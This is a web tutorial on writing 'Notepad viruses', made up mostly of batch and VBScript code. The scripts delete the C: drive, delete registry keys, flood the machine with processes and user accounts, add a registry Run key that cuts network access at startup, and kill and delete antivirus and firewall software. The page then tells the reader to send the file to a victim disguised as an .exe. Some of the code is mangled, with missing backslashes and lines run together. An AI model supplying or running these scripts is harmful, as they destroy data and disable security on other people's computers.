How To Create Virus Using Cmd Pdf
Have you ever thought of creating a computer virus by yourself? No need to worry, here is a complete tutorial to let you know how to create simple but dangerous Notepad Virus step by step with an explanation! 😎
As you all know that Virus is nothing but a malicious program which enters into a system without permission and affects the data and the working of the operating system. Viruses do unwanted tasks like replicating itself corrupting user files etc, so, basically, we are going to create some unwanted scripts, that which we can execute in order to destroy or break the system.
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Create Notepad Virus Executable(.exe) Using Batch Scripting
First of all, what is batch scripting, those who don't know, take a look below:
"It is simply a text file, containing a series of commands, which are executed automatically, line by line when the batch file runs."
By using Batch File you can create an extremely dangerous virus which can delete the Windows files, format different drives [C:\, E:], steal data files and information, disable antivirus, firewall, etc.
NOTE: This post is solely and mainly for educational purpose only. I am nowhere responsible for any kind of damage caused by this tutorial, for more info read our disclaimer.
Write a dangerous virus in Notepad/Text Editor
Are you ready to create your first DIY Notepad virus, Let's get started to rock,
First of all, you need a Windows PC, obviously. 😉
For this tutorial to create simple Notepad Virus you don't need to be a die-hard programmer or something like that, but a basic knowledge of flow charts and loops helps you a lot to understand what's going on here. So let's start to create a trojan virus using notepad to run via command prompt(cmd) in Windows 10, 8/8.1, 7 or XP.
Now, Open the Notepad application and Copy (Ctrl+C) and Paste (Ctrl+V) the codes given below one by one for the different virus in a different file.
Note: I am not responsible for any damage or error reporting on Your PC, do it at your own risk.
Warning: Do not try this on your daily working PC.
Have you read my previous posts, it will be great to take a look at;
- How To increase internet speed via Command Prompt Tricks
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Notepad Virus source codes are Given below:
1. Disable Internet Permanently
This code will disable the internet connectivity permanently.
echo @echo off>c:windowswimn32.bat echo break off>c:windowswimn32.bat echo ipconfig/release_all>c:windowswimn32.bat echo end>c:windowswimn32.batreg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED! PAUSE
2. Delete Key Registry Files
This will delete key registry files, then loops a message
This is dangerous and unrecoverable Notepad Virus.
@ECHO OFF START reg delete HKCR/.exe START reg delete HKCR/.dll START reg delete HKCR/* :MESSAGE ECHO Your PC has been crashed.Your Dad. GOTO MESSAGE
3. Endless Notepads
This will pop up endless notepads until the computer freezes and crashes
@ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top
4. Popping CD Drives
This will make the CD drives constantly pop out
Set oWMP = CreateObject("WMPlayer.OCX.7″) Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count – 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count – 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 100 loop 5. Endless Enter
This will make the enter button pressed continuously
Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop 6. Application Bomber
It will start to open different applications repeatedly which will affect the system's performance.
You can also add the application of your choice in the above code.
@echo off :x start winword start mspaint start notepad start write start cmd start explorer start control start calc goto x
7.Folder Flooder
This will create unlimited no. of folders.
@echo off :x md %random% /folder. goto x
8.User Account Flooder
This will create large no. of the user account on one's PC and goes on
@echo off :xnet user %random% /add goto x
9.Process Creator
This will create unlimited background processes
%0|%0
10.Windows Hacker
This will delete your whole C:\ drive and it really unrecoverable
@Echo off Del C:\ *.* |y
10+. Anti Virus Disabler
This large code will disable any antivirus installed on the system
@ echo off rem rem Permanently Kill Anti-Virus net stop "Security Center" netsh firewall set opmode mode=disable tskill /A av* tskill /A fire* tskill /A anti* cls tskill /A spy* tskill /A bullguard tskill /A PersFw tskill /A KAV* tskill /A ZONEALARM tskill /A SAFEWEB cls tskill /A spy* tskill /A bullguard tskill /A PersFw tskill /A KAV* tskill /A ZONEALARM tskill /A SAFEWEB cls tskill /A OUTPOST tskill /A nv* tskill /A nav* tskill /A F-* tskill /A ESAFE tskill /A cle cls tskill /A BLACKICE tskill /A def* tskill /A kav tskill /A kav* tskill /A avg* tskill /A ash* cls tskill /A aswupdsv tskill /A ewid* tskill /A guard* tskill /A guar* tskill /A gcasDt* tskill /A msmp* cls tskill /A mcafe* tskill /A mghtml tskill /A msiexec tskill /A outpost tskill /A isafe tskill /A zap*cls tskill /A zauinst tskill /A upd* tskill /A zlclien* tskill /A minilog tskill /A cc* tskill /A norton* cls tskill /A norton au* tskill /A ccc* tskill /A npfmn* tskill /A loge* tskill /A nisum* tskill /A issvc tskill /A tmp* cls tskill /A tmn* tskill /A pcc* tskill /A cpd* tskill /A pop* tskill /A pav* tskill /A padmincls tskill /A panda* tskill /A avsch* tskill /A sche* tskill /A syman* tskill /A virus* tskill /A realm*cls tskill /A sweep* tskill /A scan* tskill /A ad-* tskill /A safe* tskill /A avas* tskill /A norm* cls tskill /A offg* del /Q /F C:\Program Files\alwils~1\avast4\*.* del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe del /Q /F C:\Program Files\kasper~1\*.exe cls del /Q /F C:\Program Files\trojan~1\*.exe del /Q /F C:\Program Files\f-prot95\*.dll del /Q /F C:\Program Files\tbav\*.datcls del /Q /F C:\Program Files\avpersonal\*.vdf del /Q /F C:\Program Files\Norton~1\*.cnt del /Q /F C:\Program Files\Mcafee\*.* cls del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.* del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.* del /Q /F C:\Program Files\Norton~1\Norton~1\*.* del /Q /F C:\Program Files\Norton~1\*.* cls del /Q /F C:\Program Files\avgamsr\*.exe del /Q /F C:\Program Files\avgamsvr\*.exe del /Q /F C:\Program Files\avgemc\*.exe cls del /Q /F C:\Program Files\avgcc\*.exe del /Q /F C:\Program Files\avgupsvc\*.exe del /Q /F C:\Program Files\grisoft del /Q /F C:\Program Files\nood32krn\*.exe del /Q /F C:\Program Files\nood32\*.exe cls del /Q /F C:\Program Files\nod32 del /Q /F C:\Program Files\nood32 del /Q /F C:\Program Files\kav\*.exe del /Q /F C:\Program Files\kavmm\*.exe del /Q /F C:\Program Files\kaspersky\*.* cls del /Q /F C:\Program Files\ewidoctrl\*.exe del /Q /F C:\Program Files\guard\*.exe del /Q /F C:\Program Files\ewido\*.exe cls del /Q /F C:\Program Files\pavprsrv\*.exe del /Q /F C:\Program Files\pavprot\*.exe del /Q /F C:\Program Files\avengine\*.exe cls del /Q /F C:\Program Files\apvxdwin\*.exe del /Q /F C:\Program Files\webproxy\*.exe del /Q /F C:\Program Files\panda software\*.* rem
After copy-pasting any one of the viruses at a time in the Notepad, save the file in ALL FILES mode with an extension ".bat"(without quotes as shown in the image).
DONE: You have successfully created a Notepad Virus. That's it, now you're done doing your work now just you have to send the file to the victim.
There's a drawback of a batch file notepad virus, that anyone can open it with notepad and read the commands easily, and delete it if found it harmful. So, to overcome this limitation/drawback, you can use a tool named 'Batch to Executable Converter'. It will convert the '.bat' extension into '.exe' extension. Hence, your Batch file will be converted into a Windows Application. This will helps in convincing your victim to open the file.
DownloadBatToExe to Easily convert batch files to executables by clicking here
NOTE: This Tutorial is for windows based computer only, these viruses do not work on Linux or MAC.
Also Read:
- How to create bootable USB Pendrive for Windows 10, 8, 7, XP.
- Steganography: Hide Data In Audio, Video & Image Files.
- How To Use Android as a Modem to connect to the Internet on PC.
Wrapping It Up
So, Friends hope you liked the post on how to create a notepad virus using batch scripting, I made this tutorial much more descriptive, try to create these virus yourself, in case you encounter any problem and need help feel free to comment, I am always here for your help and don't forget to share this post with your friends if you found it helpful and enjoyable, also for supporting me to come up with more stuff in the near future.
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How To Create Virus Using Cmd Pdf
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